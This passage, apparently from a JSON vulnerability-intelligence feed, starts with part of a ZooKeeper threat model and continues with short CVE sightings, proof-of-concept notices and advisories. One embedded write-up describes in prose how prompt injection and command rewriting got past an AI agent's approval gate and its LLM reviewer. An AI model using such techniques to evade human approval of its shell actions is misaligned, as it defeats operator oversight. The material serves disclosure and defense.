production multi-tenant trees.** *Why unsafe*: any client can mutate/delete. *Instead*: per-node ACLs + auth.\n- **ACL-ing only the root of a subtree.** Relying on a parent ACL to protect children. *Instead*: set ACLs on each node; ACLs are not recursive.\n- **Relying on the `ip` scheme across untrusted networks**, or behind a proxy that sets `X-Forwarded-For`. *Instead*: SASL/x509.\n- **`digest` over plaintext.** Leaks credentials. *Instead*: TLS or localhost only.\n- **Leaving quorum auth/TLS off on a shared network.** Allows peer impersonation / reconfig abuse. *Instead*: quorum SASL + TLS.\n- **Setting `4lw.commands.whitelist=*` or exposing the AdminServer** for convenience. Leaks config/session/watch data. *Instead*: minimal whitelist, restricted admin port.\n- **`skipACL=yes` for throughput.** Opens full data-tree access (and unauthenticated reconfig). *Instead*: never with an untrusted client port.\n\n## \u00a711a Known non-findings (recurring false positives)\n\nPatterns tools/researchers repeatedly report that are **not** bugs under this model (cite the licensing section):\n\n- **\"Anyone can read/write \u2014 no auth!\"** against a default config \u2014 by design; auth/ACLs are opt-in per \u00a79, and exposure presupposes the operator violated \u00a710.1. \u2192 `BY-DESIGN` / `OUT-OF-MODEL: trusted-input` depending on framing (PMC to set, \u00a714).\n- **\"`world:anyone` ACL is insecure.\"** It is the documented open ACL; using it is a \u00a711 misuse, not a server defect. \u2192 `KNOWN-NON-FINDING` (\u00a79).\n- **\"Child znode readable despite restrictive parent ACL.\"** ACLs are not recursive by design. \u2192 `BY-DESIGN` (\u00a79). *(documented)*\n- **\"`digest` password sent in cleartext.\"** Documented; transport security is the caller's job. \u2192 `BY-DESIGN` (\u00a79). *(documented)*\n- **\"4lw / AdminServer command leaks environment/config.\"** Whitelisted/enabled by the operator; exposure presupposes \u00a710 was violated. \u2192 `OUT-OF-MODEL: trusted-input` or `KNOWN-NON-FINDING` (PMC, \u00a714).\n- **\"Quorum traffic unauthenticated/plaintext.\"** Default posture; trusted-network assumption (\u00a75). Whether reportable depends on the \u00a714 quorum-default ruling.\n- **\"Unsalted SHA1 in digest hash.\"** Known/documented limitation; \u2192 `BY-DESIGN` pending the planned algorithm migration. *(documented)*\n\n> Note: this list assumes the PMC affirms the \"trusted network / opt-in auth\" posture. If instead the PMC declares secure-by-default the supported posture, several of these flip to `VALID`. **This single ruling reshapes \u00a78/\u00a79/\u00a711a/\u00a713 \u2014 it is the top \u00a714 question.**\n\n## \u00a712 Conditions that would change this model\n\n- A new public API, request type, or wire-format change.\n- A new network surface (new listener/port) or a change in a default (e.g. another `fips-mode`-style flip, enabling auth by default, AdminServer auth-by-default).\n- Promotion of a `contrib/` or `recipes/` component into supported core.\n- Adoption of at-rest encryption, BFT, or secure-by-default \u2014 any of which would rewrite \u00a78/\u00a79.\n- **Evidence of incompleteness**: any report that cannot be routed to exactly one \u00a713 disposition is a `MODEL-GAP` and triggers a revision (add the property to \u00a78/\u00a79), not an ad-hoc call.\n\n## \u00a713 Triage dispositions (closed set)\n\n| Disposition | Meaning | Licensed by |\n| --- | --- | --- |\n| `VALID` | Violates a claimed property via an in-scope adversary and input. | \u00a78, \u00a76, \u00a77 |\n| `VALID-HARDENING` | No \u00a78 property violated, but a \u00a711 misuse is easy enough to warrant hardening. Private report, fixed at maintainer discretion, usually no CVE. | \u00a711 |\n| `OUT-OF-MODEL: trusted-input` | Requires attacker control of an input the model marks trusted (e.g. `zoo.cfg`, operator sysprops, a node the report assumes should be auth'd but the operator left open). | \u00a76 |\n| `OUT-OF-MODEL: adversary-not-in-scope` | Requires a capability the model excludes (operator privilege, on-quorum-network when quorum-off is supported, side channel, on-disk). | \u00a77 |\n| `OUT-OF-MODEL: unsupported-component` | Lands in `contrib/`, `recipes/`, or other \u00a73 code. | \u00a73 |\n| `OUT-OF-MODEL: non-default-build` | Manifests only under a discouraged/non-default \u00a75a knob the PMC ruled dev-only. | \u00a75a |\n| `BY-DESIGN: property-disclaimed` | Concerns a \u00a79-disclaimed property (non-recursive ACLs, cleartext digest, no at-rest encryption, etc.). | \u00a79 |\n| `KNOWN-NON-FINDING` | Matches a \u00a711a recurring false positive. | \u00a711a |\n| `MODEL-GAP` | Cannot be cleanly routed above \u2192 revise the model. | triggers \u00a712 |\n\n## \u00a714 Open questions for the maintainers\n\nGrouped in waves; each states a proposed answer to confirm/correct. **Wave 1 reshapes the most.**\n\n**Wave 1 \u2014 the secure-by-default question (reshapes \u00a73, \u00a77, \u00a78, \u00a79, \u00a711a, \u00a713):**\n1. *Proposed:* \"The supported production posture is **opt-in security on a trusted, firewalled network**: default open ACLs / no client auth / plaintext / quorum-auth-off are *supported defaults*, and a report that merely observes them (without the operator following \u00a710) is `OUT-OF-MODEL: trusted-input`, not `VALID`.\" Confirm, or declare secure-by-default the supported posture. (Lands: \u00a73, \u00a77, \u00a79, \u00a711a.)\n2. *Proposed:* \"An attacker on the **quorum/election network while quorum auth is off** is **out of scope** (trusted-network assumption).\" Confirm, or rule quorum-off a dev-only posture (then peer-impersonation reports become `VALID`). (Lands: \u00a75a, \u00a77, \u00a713.)\n3. *Proposed:* \"`skipACL=yes` is **dev/benchmark-only**; reports requiring it are `OUT-OF-MODEL: non-default-build`.\" Confirm. (Lands: \u00a75a, \u00a710, \u00a713.)\n\n**Wave 2 \u2014 scope of shipped code:**\n4. *Proposed:* \"`zookeeper-contrib/*` and `zookeeper-recipes/*` are **out of the core security model** (separately authored / sample code); findings are `OUT-OF-MODEL: unsupported-component`.\" Confirm per-component, especially the **REST gateway** and **ZooInspector**. (Lands: \u00a72, \u00a73.)\n5. *Proposed:* \"The **C client library** is in core scope, but the **C CLI shell (`cli_st`)** is an operator tool, not a server surface.\" Confirm. (Lands: \u00a72, \u00a73.)\n\n**Wave 3 \u2014 environment / negative claims (mostly `(inferred)`):**\n6. *Proposed:* \"ZooKeeper performs **no at-rest encryption**; protecting the snapshot/txn-log directory is an operator responsibility.\" Confirm. (Lands: \u00a75, \u00a79, \u00a710.)\n7. *Proposed:* \"Request handling **never spawns child processes / shells out**.\" Confirm. (Lands: \u00a75.)\n8. *Proposed:* \"ZAB assumes **crash-fault, non-Byzantine** peers; safety holds with a strict honest majority (`> n/2` honest).\" Confirm the threshold wording for \u00a77/\u00a78. (Lands: \u00a77, \u00a78.)\n\n**Wave 4 \u2014 property severities and DoS line:**\n9. *Proposed:* \"There is **no general bounded-memory/CPU guarantee** under adversarial request mixes beyond `jute.maxbuffer` + `maxClientCnxns` + opt-in hard quotas; a hang or super-linear blowup driven by a single bounded request *is* a bug, but heap pressure from many legitimate-looking requests/watches is an operational concern, not a CVE.\" Confirm the DoS line for \u00a78/\u00a79/\u00a713. (Lands: \u00a78, \u00a79.)\n10. *Proposed:* \"Replicated-state **safety violations (forks, lost committed writes)** are security-critical; **liveness/availability** degradation under load is correctness/operational.\" Confirm severity tiers. (Lands: \u00a78.)\n\n**Wave 5 \u2014 meta:**\n11. Where should this document live and how should it be versioned with releases \u2014 `zookeeper-docs/.../threatModel.md` published on the site, or repo-root draft? Should it be linked from `security.html`?\n12. Is there any existing internal threat-model or security-design note (PMC-private) this should be reconciled against as a `(documented)` source?\n\n## \u00a715 Optional: machine-readable companion\n\nA sidecar (`threat-model.yaml`) for automated triage is **deferred until \u00a714 wave 1 is resolved**, since the disposition of the default-posture findings determines almost every `in_scope` flag. Once ratified, emit: entry points \u2192 per-parameter trust (from \u00a76); component families \u2192 in/out (\u00a72/\u00a73); \u00a75a knobs \u2192 security-relevant/default/stance; \u00a78 properties \u2192 severity + violation symptom; \u00a79 disclaimed + false friends; \u00a711a non-findings; \u00a713 labels. The prose remains canonical.\n\n---\n\n### Appendix \u2014 `security.html` / docs back-map (coverage proof)\n\n| Source statement | Lands in |\n| --- | --- |\n| \"report to security@zookeeper.apache.org before disclosing\" | \u00a71 reporting cross-ref |\n| \"expected to operate in a trusted computing environment \u2026 behind a firewall\" | \u00a73, \u00a75, \u00a710.1 |\n| \"ACLs are not recursive\" | \u00a73, \u00a79 false friends |\n| \"no notion of an owner of a znode\" | \u00a73 |\n| digest \"sent in clear text\" / \"plaintext\" | \u00a76, \u00a79 |\n| `skipACL` \"opens up full access to the data tree to everyone\" | \u00a75a, \u00a79, \u00a710 |\n| reconfig \"any unauthenticated users can use reconfig API\" (with skipACL) | \u00a75a, \u00a711 |\n| `4lw.commands.whitelist` default `srvr` | \u00a75a, \u00a76, \u00a711a |\n| `fips-mode` disables quorum hostname verification | \u00a75, \u00a75a |\n| quota soft vs hard semantics | \u00a78 |\n| CVE history (IP-auth bypass, SASL quorum bypass, persistent-watcher leak, 4lw DoS, hostname-verification bypass) | informs \u00a77, \u00a79, \u00a711a (patterns, not a CVE list) |", "creation_timestamp": "2026-06-18T19:11:29.000000Z"}, {"uuid": "66d0490e-c218-4bd5-9d70-13a94e24b21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24421", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3molwlpwmh22a", "content": "\ud83d\udea8 EUVD-2026-37954\n\ud83d\udcca 6.5/10\n\ud83c\udfe2 thorsten\n\n\ud83d\udcdd phpMyFAQ is an open source FAQ web application. Versions prior to  4.1.4 have Missing Authorization in the API CategoryController. CVE-2026-24421 address...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-37954\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-06-18T23:00:11.464972Z"}, {"uuid": "0e13dc18-662b-4e8b-8b03-a75af8db9b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/Ntg-ofD3LMIChp1i2CdfsMqFjxuqWO46POI-bnFaiH8mdGw", "content": "", "creation_timestamp": "2026-06-08T21:00:04.000000Z"}, {"uuid": "966144d3-c991-4c70-a9df-0fb3b9b4db16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24136", "type": "published-proof-of-concept", "source": "Telegram/8OrsKfIYkEk0-8uPkb8MstgNwn2ZcQVuOnxP5IJIO77AEwY", "content": "", "creation_timestamp": "2026-06-12T21:00:04.000000Z"}, {"uuid": "197f370a-4a83-496e-81c5-9b2afc47467a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/JHG8zP7qXaf1JIIuvE9VKZ77ce8tH_i-fBPcLNZTDpaUFkw", "content": "", "creation_timestamp": "2026-06-06T15:00:07.000000Z"}, {"uuid": "2c3d49ce-01f1-4f08-918e-7c5729a77204", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f29edc77-2a97-4c15-a363-997e6af5e54a", "content": "", "creation_timestamp": "2026-06-19T12:45:18.885779Z"}, {"uuid": "4f94415a-74a6-4f0b-ba9c-7ea6ddc615c3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/020f2b44-c13e-49d0-b06c-c90764ab8341", "content": "", "creation_timestamp": "2026-06-19T12:45:16.461881Z"}, {"uuid": "923d3b0b-b831-4e42-944c-0ba8c68843a9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9ac1ab73-c6d2-4411-ae2f-0fb425710ffe", "content": "", "creation_timestamp": "2026-06-19T12:45:18.001416Z"}, {"uuid": "80c16df0-c8cc-4ac9-bf04-f2293b308ca3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/42165deb-986d-4c18-9af6-6e8fd53e3226", "content": "", "creation_timestamp": "2026-06-19T12:45:18.963503Z"}, {"uuid": "eb3bff65-f611-43b3-9601-722ed32e3699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/MVfTmsaSHIB0Ey-kxkJ2IT5SDI5JNsfPWKggKUAVISDEBZA", "content": "", "creation_timestamp": "2026-08-13T00:00:45.334152Z"}, {"uuid": "3c97f989-6c01-482d-a817-eb9fe0252176", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:15:09.770760Z"}, {"uuid": "7db34717-258c-4377-af3d-98c247747d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24898", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3montn2bl572e", "content": "CVE-2026-24898: The Webhook That Handed Out Its Own Keys\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202624898", "creation_timestamp": "2026-06-19T17:12:34.201182Z"}, {"uuid": "d242299b-ad34-4074-8c61-f92c1044ed00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97792", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24031\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aramosf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-12 23:37:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24031 Dovecot 2.4.0/3.1.0 SQL authentication bypass (auth bypass + user enumeration) PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-13T01:00:04.154520Z"}, {"uuid": "28a71a1a-eecd-4fb9-b021-03cf36d6d589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24213", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motmgxiyjh2s", "content": "\ud83d\udea8  ALERT: CVE-2026-24213\n\nCVSS 8.0/10\n\n\ud83d\udccb WHAT IT IS:\nNVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attacker could cause an out-of-bounds read. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, or informa", "creation_timestamp": "2026-06-22T00:19:52.461178Z"}, {"uuid": "206d8f64-4f3d-4067-aa6a-343391e9a819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24214", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motmh6ezlk2p", "content": "\ud83d\udea8  ALERT: CVE-2026-24214\n\nCVSS 8.0/10\n\n\ud83d\udccb WHAT IT IS:\nNVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attacker could cause an integer overflow. A successful exploit of this vulnerability might lead to code execution, data tampering, or denial of service.\n\n\ud83c\udfaf WHO'S ", "creation_timestamp": "2026-06-22T00:19:59.149379Z"}, {"uuid": "0e597246-fb8f-4cc1-af4a-214d1535af3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24425", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motmp5sgbv2m", "content": "\ud83d\udea8  ALERT: CVE-2026-24425\n\nCVSS 8.8/10\n\n\ud83d\udccb WHAT IT IS:\nTwig versions 2.16.x and 3.9.0 through 3.25.x contain a sandbox bypass vulnerability when using a SourcePolicyInterface that allows attackers with template rendering capabilities to pass arbitrary PHP callables to sort, filter, map, and reduce fil", "creation_timestamp": "2026-06-22T00:24:27.136461Z"}, {"uuid": "fc6a17e5-708f-485d-a100-bbb97316b925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/6/angriffswelle-gegen-fortigate-devices-fortibleed", "content": "", "creation_timestamp": "2026-06-22T00:55:34.000000Z"}, {"uuid": "e938b9ee-1d29-40e9-99d5-7f11210af12d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/andercoleai.bsky.social/post/3mtlp7zmkas2l", "content": "A critical Copilot Personal flaw (CoSnitch, CVE-2026-24301) let one clicked link silently pull data from connected Gmail, Drive, and Calendar accounts, no confirmation needed. \n\nmedium.com/@andarcole88...", "creation_timestamp": "2026-08-21T11:54:24.892725Z"}, {"uuid": "2a25553d-1c82-4c5e-86cc-93b61722dd54", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/69520f96-85c7-461f-948d-c51db8bb8d21", "content": "", "creation_timestamp": "2026-06-23T14:03:43.096859Z"}, {"uuid": "f95e2228-8a4e-409f-ac59-508a50ae438f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/79b250bd-36e6-4bef-b885-5c8221f49600", "content": "", "creation_timestamp": "2026-06-23T14:03:44.657841Z"}, {"uuid": "56063b1e-c3ef-4e91-825f-25c907607d45", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/493f4fb6-5b30-40be-b61f-7d134221362d", "content": "", "creation_timestamp": "2026-06-23T14:03:44.120809Z"}, {"uuid": "8193ffe6-8b0d-4552-aaf7-bf68d3af46e1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b2870015-f508-4079-b371-97370d32a7cb", "content": "", "creation_timestamp": "2026-06-23T14:03:44.594806Z"}, {"uuid": "b0000c61-e191-4ddc-ac81-17c451698629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24349", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-174-01", "content": "", "creation_timestamp": "2026-06-23T05:00:00.000000Z"}, {"uuid": "e677ffcf-bc9f-42b2-95c9-9cba5b49dbdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24887", "type": "seen", "source": "https://gist.github.com/NikosRig/b4330ceb780fe22bf3c14f38d7d90795", "content": "# When is an AI agent's approval prompt a security boundary?\n\nI reported three approval-bypass findings to an open-source AI agent. Between\nthe day I submitted and the day they replied, the project rewrote its security\npolicy \u2014 in a way that reclassified my findings out of scope \u2014 and then closed\nthem citing the new text. This is a writeup of what happened and the genuine\nquestion underneath it, because I don't think the answer is obvious and I think\nthe industry hasn't settled it.\n\nI'll start by conceding the other side, because it's strong.\n\n## The vendor is not wrong about the hard part\n\nThe project is Hermes Agent (Nous Research). Like most agents with shell access,\nit screens commands against a denylist and prompts the operator before running\nanything that looks destructive. Their current position is that this gate is an\n*in-process heuristic, not a security boundary* \u2014 that shell is Turing-complete,\na denylist over shell strings is structurally incomplete, and the real boundary\nfor adversarial input is OS-level isolation (run it in a container).\n\nThat is correct. You cannot regex your way to a complete boundary over shell,\nand \"run untrusted workloads in a sandbox\" is the right posture. I'm not\ndisputing any of that, and any framing of this story that ignores it is unfair.\n\n## The three findings (mechanism only \u2014 two are still live)\n\n1. **Smart-approval prompt injection.** In the optional \"smart\" mode, a second\n   LLM judges flagged commands. The untrusted command was interpolated into the\n   reviewer's prompt with no separation between data and instructions, and the\n   verdict was parsed with a loose substring match. Injected text could talk the\n   reviewer into approving.\n\n2. **Startup-hook code execution.** Any `.py` file in the agent's hooks\n   directory is executed at gateway startup \u2014 no registration, no hash, no\n   signature. A prompt-injected model can write that file via a normal tool call\n   that triggers no approval, yielding code execution on the next restart.\n\n3. **Approval-gate parsing bypass.** The detector matches regex against the raw\n   command string, not parsed shell tokens. Equivalent rewrites \u2014 quoted command\n   names, variable indirection, alternate shell binaries, octal `chmod` prefixes,\n   versioned interpreter names \u2014 run the same dangerous action and bypass the\n   prompt entirely.\n\nI retested all three against the current release in a clean Docker build before\nwriting this. Finding #1 was meaningfully hardened in June (the live bypass rate\ndropped from 6/8 to 1/8). **Findings #2 and #3 still reproduce on the current\nversion.** I'm deliberately not publishing weaponized exploits for the two that\nare still live.\n\nThese matter for one specific, common deployment: the default local backend,\nexposed to untrusted input (a messaging gateway, web content, MCP output),\nwithout a sandbox. In that configuration the prompt is the thing the operator is\ncounting on, and it can be skipped.\n\n## The part I think is worth discussing\n\nTwo things, both verifiable.\n\n**The timeline.** The version of SECURITY.md live the day I reported called the\napproval system \"a core security boundary\" and explicitly placed in scope\n\"prompt injection ... that results in a concrete bypass of the approval system.\"\nSix days later the policy was rewritten (\"rewrite policy around OS-level\nisolation as the boundary\"); the approval gate became a non-boundary heuristic\nand the clause that put my findings in scope was removed. My reports were then\nclosed as out of scope, citing the new sections \u2014 without acknowledging that the\npolicy had changed since submission. The commits are public:\n`401aadb5b`, `0d1cbc2dd`.\n\nI don't claim malice. The original policy was two weeks old and may have\nover-claimed; the rewrite reads like a genuine clarification. But the procedure\n\u2014 change the scope while reports are open, close under the new text, don't flag\nthe change \u2014 is the part that sits wrong with me, independent of whether the new\nthreat model is right.\n\n**The industry inconsistency.** Finding #3 is the same class as CVE-2026-24887\nin Claude Code: \"an error in command parsing\" that lets untrusted input \"bypass\nthe confirmation prompt.\" Anthropic rated it **8.8 HIGH** and shipped a fix in\n2.0.72. Anthropic also recommends sandboxing Claude Code \u2014 the same posture\nHermes invokes \u2014 and still treated a confirmation-prompt bypass as a real,\nhigh-severity vulnerability. \"The sandbox is the real boundary\" and \"a prompt\nbypass is a vulnerability\" are evidently not mutually exclusive; a direct peer\nholds both. And Hermes themselves shipped a `fix(security)` commit for finding\n#1 \u2014 the very class they'd closed as out-of-scope.\n\n## The actual question\n\nTwo serious projects looked at the same class of bug and reached opposite\nconclusions about whether it's a vulnerability at all \u2014 and the line between\nthem is drawn in policy, not in code. As we hand agents real shell access, \"is\nthe human-confirmation step a security control or a convenience?\" stops being\nphilosophical: it decides whether bypasses get fixed, get CVEs, or get closed.\nI think it's a control whose bypass matters in the default deployment. Reasonable\npeople disagree. I'd like to hear how others draw the line.\n\nEverything above is verifiable from public git history and public vulnerability\ndatabases. I'm happy to answer questions.\n", "creation_timestamp": "2026-06-23T21:00:12.000000Z"}, {"uuid": "5097e949-b677-4692-adab-066067d07ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3moyhsb55f223", "content": "Fortinet\u3001FortiBleed\u306b\u516c\u5f0f\u898b\u89e3 \u904e\u53bb\u306e\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9 \u8106\u5f31\u6027\u304b\u3089\u306e\u6f0f\u6d29-(CVE-2026-24858\u30fbCVE-2025-59718\u30fbCVE-2025-59719)\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #cyberattack #incident #databreach", "creation_timestamp": "2026-06-23T22:40:04.095165Z"}, {"uuid": "c2b99967-ed8d-467b-918e-714f7138aeb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24421", "type": "seen", "source": "https://gist.github.com/alon710/b22b0dd984dd927be769bc999880e7f3", "content": "# CVE-2026-49205: CVE-2026-49205: Missing Authorization in phpMyFAQ Public REST API Write Endpoints\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-49205\n\n## Summary\nAn incomplete security patch for CVE-2026-24421 in phpMyFAQ allows authenticated low-privileged users to bypass role-based access controls. While the initial patch addressed missing authorization in the BackupController, it left four critical write-enabled endpoints vulnerable. This allows remote attackers with a valid low-privilege API token to perform unauthorized data modifications, creating categories, creating FAQs, updating FAQs, and injecting questions directly into the database.\n\n## TL;DR\nAn incomplete fix for CVE-2026-24421 in phpMyFAQ leaves four REST API endpoints vulnerable to missing authorization, enabling low-privileged authenticated users to modify categories, FAQs, and system questions without the required role permissions.\n\n## Technical Details\n\n- **CWE ID**: CWE-862: Missing Authorization\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 6.5 (Medium)\n- **Exploit Maturity**: None / Unproven\n- **EPSS Score**: 0.0024\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- phpMyFAQ open-source FAQ web application\n- **phpMyFAQ**: < 4.1.4 (Fixed in: `4.1.4`)\n\n## Mitigation\n\n- Upgrade phpMyFAQ to version 4.1.4 or higher.\n- Implement a manual code-level patch to enforce role validation on all public REST API write endpoints.\n- Deploy WAF rules to restrict POST and PUT requests to public API controllers based on user roles.\n\n**Remediation Steps:**\n1. Download phpMyFAQ version 4.1.4 from the official repository.\n2. Apply database and application updates following the standard phpMyFAQ upgrade documentation.\n3. Validate API security policies by attempting a write request using a low-privileged API token.\n\n## References\n\n- [GitHub Security Advisory GHSA-8c6h-7g6x-m5x4](https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8c6h-7g6x-m5x4)\n- [CVE-2026-49205 Record](https://www.cve.org/CVERecord?id=CVE-2026-49205)\n- [CWE-862 Reference](https://cwe.mitre.org/data/definitions/862.html)\n- [MITRE ATT&CK T1068 Reference](https://attack.mitre.org/techniques/T1068/)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-49205) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-23T22:42:14.000000Z"}, {"uuid": "a006cfff-c7a1-45f5-8ed4-65e7a8e2742c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24720", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/qnap-nas-multiple-vulnerabilities_20260624", "content": "", "creation_timestamp": "2026-06-23T18:00:00.000000Z"}, {"uuid": "84c5e66e-954a-4d0f-8479-ed3bc2c6b3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24724", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/qnap-nas-multiple-vulnerabilities_20260624", "content": "", "creation_timestamp": "2026-06-23T18:00:00.000000Z"}, {"uuid": "8f444fdb-64c7-4f17-b7bf-3f2abbfea6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24720", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1934", "content": "", "creation_timestamp": "2026-06-23T21:00:00.000000Z"}, {"uuid": 